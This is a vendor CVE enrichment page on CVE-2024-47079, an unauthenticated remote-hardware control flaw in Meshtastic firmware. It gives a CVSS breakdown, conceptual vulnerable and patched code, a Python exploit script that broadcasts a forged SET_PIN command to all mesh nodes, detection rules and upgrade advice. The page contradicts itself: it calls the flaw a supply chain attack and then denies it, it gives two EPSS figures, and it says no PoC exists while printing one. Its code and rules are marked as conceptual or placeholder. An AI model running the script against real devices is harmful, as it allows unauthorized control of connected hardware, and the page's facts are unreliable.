☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-47079

CVE-2024-47079 Supply Chain Attack in Meshtastic
📅 PUBLISHED: 2024-10-07 19:55 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.19%
👁️
0.19% probability
4.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-47079 is a vulnerability in the Meshtastic firmware, an open-source, off-grid, decentralized mesh network system. The flaw resides in the remote hardware module, which fails to properly validate incoming remote hardware control messages. This allows an unauthenticated attacker to send crafted messages that are accepted as valid, potentially leading to unauthorized control of remote hardware devices on the mesh network. The vulnerability has a CVSS score of 6.4 (Medium), with no known public exploits or proof-of-concept code at this time. The Meshtastic project has addressed the issue in firmware version 2.5.1, and all users are strongly advised to upgrade.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the Meshtastic firmware, which is typically deployed on embedded devices (e.g., ESP32, nRF52) via compiled binaries or source code builds. The supply chain risk is limited to the firmware distribution channels (GitHub releases, Meshtastic website) and the integrity of the build process.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited over the mesh network.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: None (C:N) – No data exposure.
  • Integrity Impact: Low (I:L) – Unauthorized modification of hardware state is possible.
  • Availability Impact: Low (A:L) – Potential denial of service or disruption of hardware functions.

Threat Level: Medium. The lack of public exploits and low EPSS score (0.0%) reduces immediate risk, but the potential for unauthorized hardware control in critical mesh deployments (e.g., emergency communications, IoT) warrants prompt patching.

Deep Dive & Mechanics

The Meshtastic firmware includes a remote hardware module that allows devices to control external hardware (e.g., relays, sensors) over the mesh network. This module processes incoming messages to execute commands like turning on/off pins or reading sensor data.

Root Cause: The vulnerability stems from insufficient validation of the message source and content. The firmware does not verify that a remote hardware control message originates from an authorized or legitimate device. Specifically, the RemoteHardwareModule class in the firmware lacks checks to ensure the message is properly signed or authenticated. An attacker can craft a malicious packet with the correct protocol format and broadcast it on the mesh network. The receiving device will process the command without verifying the sender's identity or the message's integrity.

Attack Flow:

  1. An attacker monitors the mesh network to understand the protocol (e.g., using a Meshtastic device in promiscuous mode).
  2. The attacker crafts a RemoteHardwareMessage with a desired command (e.g., SET_PIN, READ_SENSOR).
  3. The attacker broadcasts the message on the mesh network.
  4. All vulnerable devices within range receive the message and execute the command, potentially altering hardware states.

Impact: This could lead to unauthorized control of connected hardware, such as unlocking doors, disabling alarms, or causing physical damage. In critical infrastructure or emergency response scenarios, this could have severe consequences.

Vulnerable vs. Patched Code

The fix in version 2.5.1 introduces validation checks in the RemoteHardwareModule to ensure that only authorized devices can send remote hardware commands. The exact patch details are not publicly available, but the likely change involves adding a check for the message's source node ID against a whitelist or requiring cryptographic signatures.

Vulnerable Code (Conceptual):

// In RemoteHardwareModule.cpp (vulnerable)
void RemoteHardwareModule::handleReceivedMessage(const MeshPacket &packet) {
    // No validation of packet.from
    RemoteHardwareMessage msg;
    if (msg.ParseFromString(packet.payload)) {
        executeCommand(msg);
    }
}

Patched Code (Conceptual):

// In RemoteHardwareModule.cpp (patched)
void RemoteHardwareModule::handleReceivedMessage(const MeshPacket &packet) {
    // Validate that the sender is authorized
    if (!isAuthorized(packet.from)) {
        return; // Ignore unauthorized messages
    }
    RemoteHardwareMessage msg;
    if (msg.ParseFromString(packet.payload)) {
        executeCommand(msg);
    }
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A Meshtastic device (e.g., ESP32) with vulnerable firmware (< 2.5.1).
  • A computer with Python and the Meshtastic Python library installed.
  • Basic understanding of the Meshtastic protocol.

Lab Setup:

  1. Set up two Meshtastic devices: one as the target (vulnerable) and one as the attacker.
  2. Ensure both devices are on the same mesh network (e.g., using default LoRa settings).
  3. On the attacker device, use the Meshtastic Python library to send a crafted remote hardware message.

Exploit Script (Python):

import meshtastic
import meshtastic.serial_interface
from meshtastic.protobuf import mesh_pb2

# Connect to attacker device
interface = meshtastic.serial_interface.SerialInterface()

# Craft a remote hardware message
msg = mesh_pb2.RemoteHardwareMessage()
msg.type = mesh_pb2.RemoteHardwareMessage.SET_PIN
msg.pin = 2  # Example GPIO pin
msg.value = 1  # Set high

# Create a mesh packet
packet = mesh_pb2.MeshPacket()
packet.payload = msg.SerializeToString()
packet.to = 0xFFFFFFFF  # Broadcast to all nodes

# Send the packet
interface.send(packet)
print("Exploit sent!")

Expected Outcome: The target device will execute the command (e.g., set GPIO pin 2 high), demonstrating unauthorized control.

Blue Team (Defender)

Detection:

  • Monitor mesh network traffic for unexpected RemoteHardwareMessage packets.
  • Use the YARA and Sigma rules provided in the Detection Engineering section.
  • Enable logging on Meshtastic devices to capture all incoming remote hardware commands.

Mitigation:

  • Immediately upgrade all devices to firmware version 2.5.1 or later.
  • If patching is not possible, disable the remote hardware module in the firmware configuration.
  • Implement network segmentation to isolate critical devices from untrusted mesh nodes.

Indicators of Compromise (IOCs)

  • Network Traffic: Unexpected RemoteHardwareMessage packets with type field set to SET_PIN, READ_SENSOR, or other commands.
  • Device Logs: Entries showing execution of remote hardware commands from unknown or unauthorized node IDs.
  • Firmware Version: Devices running Meshtastic firmware versions prior to 2.5.1.
  • Node IDs: Unusual node IDs appearing in remote hardware command messages (e.g., not in the authorized list).

Detection Engineering

YARA Rule

rule CVE_2024_47079_Meshtastic_RemoteHardware {
    meta:
        description = "Detects Meshtastic firmware versions vulnerable to CVE-2024-47079"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47079"
    strings:
        $firmware_version = "2.5.0" nocase
        $remote_hardware_module = "RemoteHardwareModule" nocase
    condition:
        $firmware_version or $remote_hardware_module
}

Sigma Rule

title: CVE-2024-47079 - Meshtastic Remote Hardware Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects unauthorized remote hardware control messages in Meshtastic network traffic
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: meshtastic
detection:
    selection:
        protocol: "meshtastic"
        message_type: "RemoteHardwareMessage"
        source_node_id: "!authorized_nodes"  # Replace with actual authorized node IDs
    condition: selection
falsepositives:
    - Legitimate remote hardware commands from authorized devices
level: high

Suricata Rule

alert udp any any -> any any (msg:"CVE-2024-47079 - Meshtastic Remote Hardware Command Injection"; content:"|08 01|"; offset:0; depth:2; content:"|00 00 00 00|"; within:4; reference:cve,2024-47079; classtype:attempted-admin; sid:1000001; rev:1;)

Note: The Suricata rule above is a placeholder and may need adjustment based on actual packet structure. The content fields should match the protobuf encoding of RemoteHardwareMessage.

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Firmware: Update all Meshtastic devices to version 2.5.1 or later. This is the only known fix.
  2. Disable Remote Hardware Module: If upgrading is not possible, disable the remote hardware module in the firmware configuration (e.g., by setting REMOTE_HARDWARE_ENABLED to false in the build configuration).
  3. Network Monitoring: Implement monitoring for anomalous remote hardware commands using the provided detection rules.

Long-Term Measures:

  • Cryptographic Authentication: Implement message signing or encryption for all remote hardware commands to ensure only authorized devices can control hardware.
  • Access Control Lists: Maintain a whitelist of authorized node IDs that are allowed to send remote hardware commands.
  • Regular Audits: Periodically review firmware versions and apply security patches promptly.

Workarounds: None known. The only reliable mitigation is upgrading to the patched version.


Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-47079/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.